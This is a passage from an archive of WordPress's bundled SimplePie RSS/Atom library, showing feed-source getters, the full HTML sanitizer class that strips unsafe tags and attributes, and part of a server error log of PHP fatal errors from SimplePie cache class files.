        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    public function get_copyright()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_language()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (isset($this->data['xml_lang'])) {
            return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_latitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    public function get_longitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    public function get_image_url()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }
}

class_alias('SimplePie\Source', 'SimplePie_Source');
src/Sanitize.php000064400000061065151024210710007633 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use InvalidArgumentException;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
 *
 * @package SimplePie
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class Sanitize implements RegistryAware
{
    // Private vars
    public $base;

    // Options
    public $remove_div = true;
    public $image_handler = '';
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
    public $encode_instead_of_strip = false;
    public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
    public $rename_attributes = [];
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
    public $strip_comments = false;
    public $output_encoding = 'UTF-8';
    public $enable_cache = true;
    public $cache_location = './cache';
    public $cache_name_function = 'md5';

    /**
     * @var NameFilter
     */
    private $cache_namefilter;
    public $timeout = 10;
    public $useragent = '';
    public $force_fsockopen = false;
    public $replace_url_attributes = null;
    public $registry;

    /**
     * @var DataCache|null
     */
    private $cache = null;

    /**
     * @var int Cache duration (in seconds)
     */
    private $cache_duration = 3600;

    /**
     * List of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * Array is a tree split at DNS levels. Example:
     * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
     */
    public $https_domains = [];

    public function __construct()
    {
        // Set defaults
        $this->set_url_replacements(null);
    }

    public function remove_div($enable = true)
    {
        $this->remove_div = (bool) $enable;
    }

    public function set_image_handler($page = false)
    {
        if ($page) {
            $this->image_handler = (string) $page;
        } else {
            $this->image_handler = false;
        }
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie\Cache', ?DataCache $cache = null)
    {
        if (isset($enable_cache)) {
            $this->enable_cache = (bool) $enable_cache;
        }

        if ($cache_location) {
            $this->cache_location = (string) $cache_location;
        }

        if (!is_string($cache_name_function) && !is_object($cache_name_function) && !$cache_name_function instanceof NameFilter) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #3 ($cache_name_function) must be of type %s',
                __METHOD__,
                NameFilter::class
            ), 1);
        }

        // BC: $cache_name_function could be a callable as string
        if (is_string($cache_name_function)) {
            // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
            $this->cache_name_function = (string) $cache_name_function;

            $cache_name_function = new CallableNameFilter($cache_name_function);
        }

        $this->cache_namefilter = $cache_name_function;

        if ($cache !== null) {
            $this->cache = $cache;
        }
    }

    public function pass_file_data($file_class = 'SimplePie\File', $timeout = 10, $useragent = '', $force_fsockopen = false)
    {
        if ($timeout) {
            $this->timeout = (string) $timeout;
        }

        if ($useragent) {
            $this->useragent = (string) $useragent;
        }

        if ($force_fsockopen) {
            $this->force_fsockopen = (string) $force_fsockopen;
        }
    }

    public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
    {
        if ($tags) {
            if (is_array($tags)) {
                $this->strip_htmltags = $tags;
            } else {
                $this->strip_htmltags = explode(',', $tags);
            }
        } else {
            $this->strip_htmltags = false;
        }
    }

    public function encode_instead_of_strip($encode = false)
    {
        $this->encode_instead_of_strip = (bool) $encode;
    }

    public function rename_attributes($attribs = [])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->rename_attributes = $attribs;
            } else {
                $this->rename_attributes = explode(',', $attribs);
            }
        } else {
            $this->rename_attributes = false;
        }
    }

    public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->strip_attributes = $attribs;
            } else {
                $this->strip_attributes = explode(',', $attribs);
            }
        } else {
            $this->strip_attributes = false;
        }
    }

    public function add_attributes($attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->add_attributes = $attribs;
            } else {
                $this->add_attributes = explode(',', $attribs);
            }
        } else {
            $this->add_attributes = false;
        }
    }

    public function strip_comments($strip = false)
    {
        $this->strip_comments = (bool) $strip;
    }

    public function set_output_encoding($encoding = 'UTF-8')
    {
        $this->output_encoding = (string) $encoding;
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
     * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
     * |ins|@cite, |q|@cite, |source|@src, |video|@src
     *
     * @since 1.0
     * @param array|null $element_attribute Element/attribute key/value pairs, null for default
     */
    public function set_url_replacements($element_attribute = null)
    {
        if ($element_attribute === null) {
            $element_attribute = [
                'a' => 'href',
                'area' => 'href',
                'audio' => 'src',
                'blockquote' => 'cite',
                'del' => 'cite',
                'form' => 'action',
                'img' => [
                    'longdesc',
                    'src'
                ],
                'input' => 'src',
                'ins' => 'cite',
                'q' => 'cite',
                'source' => 'src',
                'video' => [
                    'poster',
                    'src'
                ]
            ];
        }
        $this->replace_url_attributes = (array) $element_attribute;
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Misc::https_url()
     * Example array('biz', 'example.com', 'example.org', 'www.example.net');
     */
    public function set_https_domains($domains)
    {
        $this->https_domains = [];
        foreach ($domains as $domain) {
            $domain = trim($domain, ". \t\n\r\0\x0B");
            $segments = array_reverse(explode('.', $domain));
            $node = &$this->https_domains;
            foreach ($segments as $segment) {//Build a tree
                if ($node === true) {
                    break;
                }
                if (!isset($node[$segment])) {
                    $node[$segment] = [];
                }
                $node = &$node[$segment];
            }
            $node = true;
        }
    }

    /**
     * Check if the domain is in the list of forced HTTPS.
     */
    protected function is_https_domain($domain)
    {
        $domain = trim($domain, '. ');
        $segments = array_reverse(explode('.', $domain));
        $node = &$this->https_domains;
        foreach ($segments as $segment) {//Explore the tree
            if (isset($node[$segment])) {
                $node = &$node[$segment];
            } else {
                break;
            }
        }
        return $node === true;
    }

    /**
     * Force HTTPS for selected Web sites.
     */
    public function https_url($url)
    {
        return (strtolower(substr($url, 0, 7)) === 'http://') &&
            $this->is_https_domain(parse_url($url, PHP_URL_HOST)) ?
            substr_replace($url, 's', 4, 0) : //Add the 's' to HTTPS
            $url;
    }

    public function sanitize($data, $type, $base = '')
    {
        $data = trim($data);
        if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
            if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
                if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
                } else {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
                }
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
                $data = base64_decode($data);
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                if (!class_exists('DOMDocument')) {
                    throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
                }
                $document = new \DOMDocument();
                $document->encoding = 'UTF-8';

                $data = $this->preprocess($data, $type);

                set_error_handler(['SimplePie\Misc', 'silence_errors']);
                $document->loadHTML($data);
                restore_error_handler();

                $xpath = new \DOMXPath($document);

                // Strip comments
                if ($this->strip_comments) {
                    $comments = $xpath->query('//comment()');

                    foreach ($comments as $comment) {
                        $comment->parentNode->removeChild($comment);
                    }
                }

                // Strip out HTML tags and attributes that might cause various security problems.
                // Based on recommendations by Mark Pilgrim at:
                // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
                if ($this->strip_htmltags) {
                    foreach ($this->strip_htmltags as $tag) {
                        $this->strip_tag($tag, $document, $xpath, $type);
                    }
                }

                if ($this->rename_attributes) {
                    foreach ($this->rename_attributes as $attrib) {
                        $this->rename_attr($attrib, $xpath);
                    }
                }

                if ($this->strip_attributes) {
                    foreach ($this->strip_attributes as $attrib) {
                        $this->strip_attr($attrib, $xpath);
                    }
                }

                if ($this->add_attributes) {
                    foreach ($this->add_attributes as $tag => $valuePairs) {
                        $this->add_attr($tag, $valuePairs, $document);
                    }
                }

                // Replace relative URLs
                $this->base = $base;
                foreach ($this->replace_url_attributes as $element => $attributes) {
                    $this->replace_urls($document, $element, $attributes);
                }

                // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
                if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) {
                    $images = $document->getElementsByTagName('img');

                    foreach ($images as $img) {
                        if ($img->hasAttribute('src')) {
                            $image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
                            $cache = $this->get_cache($image_url);

                            if ($cache->get_data($image_url, false)) {
                                $img->setAttribute('src', $this->image_handler . $image_url);
                            } else {
                                $file = $this->registry->create(File::class, [$img->getAttribute('src'), $this->timeout, 5, ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']], $this->useragent, $this->force_fsockopen]);
                                $headers = $file->headers;

                                if ($file->success && ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) {
                                    if ($cache->set_data($image_url, ['headers' => $file->headers, 'body' => $file->body], $this->cache_duration)) {
                                        $img->setAttribute('src', $this->image_handler . $image_url);
                                    } else {
                                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                                    }
                                }
                            }
                        }
                    }
                }

                // Get content node
                $div = $document->getElementsByTagName('body')->item(0)->firstChild;
                // Finally, convert to a HTML string
                $data = trim($document->saveHTML($div));

                if ($this->remove_div) {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
                    $data = preg_replace('/<\/div>$/', '', $data);
                } else {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
                }

                $data = str_replace('</source>', '', $data);
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
                $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
                if ($absolute !== false) {
                    $data = $absolute;
                }
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
                $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
            }

            if ($this->output_encoding !== 'UTF-8') {
                $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
            }
        }
        return $data;
    }

    protected function preprocess($html, $type)
    {
        $ret = '';
        $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
        if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
            // Atom XHTML constructs are wrapped with a div by default
            // Note: No protection if $html contains a stray </div>!
            $html = '<div>' . $html . '</div>';
            $ret .= '<!DOCTYPE html>';
            $content_type = 'text/html';
        } else {
            $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
            $content_type = 'application/xhtml+xml';
        }

        $ret .= '<html><head>';
        $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
        $ret .= '</head><body>' . $html . '</body></html>';
        return $ret;
    }

    public function replace_urls($document, $tag, $attributes)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes];
        }

        if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
            $elements = $document->getElementsByTagName($tag);
            foreach ($elements as $element) {
                foreach ($attributes as $attribute) {
                    if ($element->hasAttribute($attribute)) {
                        $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
                        if ($value !== false) {
                            $value = $this->https_url($value);
                            $element->setAttribute($attribute, $value);
                        }
                    }
                }
            }
        }
    }

    public function do_strip_htmltags($match)
    {
        if ($this->encode_instead_of_strip) {
            if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
                $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
                $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
                return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
            } else {
                return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
            }
        } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
            return $match[4];
        } else {
            return '';
        }
    }

    protected function strip_tag($tag, $document, $xpath, $type)
    {
        $elements = $xpath->query('body//' . $tag);
        if ($this->encode_instead_of_strip) {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();

                // For elements which aren't script or style, include the tag itself
                if (!in_array($tag, ['script', 'style'])) {
                    $text = '<' . $tag;
                    if ($element->hasAttributes()) {
                        $attrs = [];
                        foreach ($element->attributes as $name => $attr) {
                            $value = $attr->value;

                            // In XHTML, empty values should never exist, so we repeat the value
                            if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                                $value = $name;
                            }
                            // For HTML, empty is fine
                            elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
                                $attrs[] = $name;
                                continue;
                            }

                            // Standard attribute text
                            $attrs[] = $name . '="' . $attr->value . '"';
                        }
                        $text .= ' ' . implode(' ', $attrs);
                    }
                    $text .= '>';
                    $fragment->appendChild(new \DOMText($text));
                }

                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                if (!in_array($tag, ['script', 'style'])) {
                    $fragment->appendChild(new \DOMText('</' . $tag . '>'));
                }

                $element->parentNode->replaceChild($fragment, $element);
            }

            return;
        } elseif (in_array($tag, ['script', 'style'])) {
            foreach ($elements as $element) {
                $element->parentNode->removeChild($element);
            }

            return;
        } else {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();
                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                $element->parentNode->replaceChild($fragment, $element);
            }
        }
    }

    protected function strip_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->removeAttribute($attrib);
        }
    }

    protected function rename_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
            $element->removeAttribute($attrib);
        }
    }

    protected function add_attr($tag, $valuePairs, $document)
    {
        $elements = $document->getElementsByTagName($tag);
        foreach ($elements as $element) {
            foreach ($valuePairs as $attrib => $value) {
                $element->setAttribute($attrib, $value);
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache($image_url = '')
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $image_url,
                Base::TYPE_IMAGE
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }
}

class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
src/Cache/error_log000064400000072375151024210710010262 0ustar00[28-Oct-2025 11:40:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[28-Oct-2025 11:40:46 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[28-Oct-2025 11:40:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[28-Oct-2025 14:10:14 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[28-Oct-2025 14:11:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[28-Oct-2025 15:46:14 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[28-Oct-2025 15:46:18 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[28-Oct-2025 15:50:27 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[28-Oct-2025 16:13:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 03:24:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 03:25:02 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 03:25:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Nov-2025 05:57:48 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Nov-2025 05:58:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Nov-2025 07:03:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Nov-2025 07:04:11 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Nov-2025 07:14:10 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
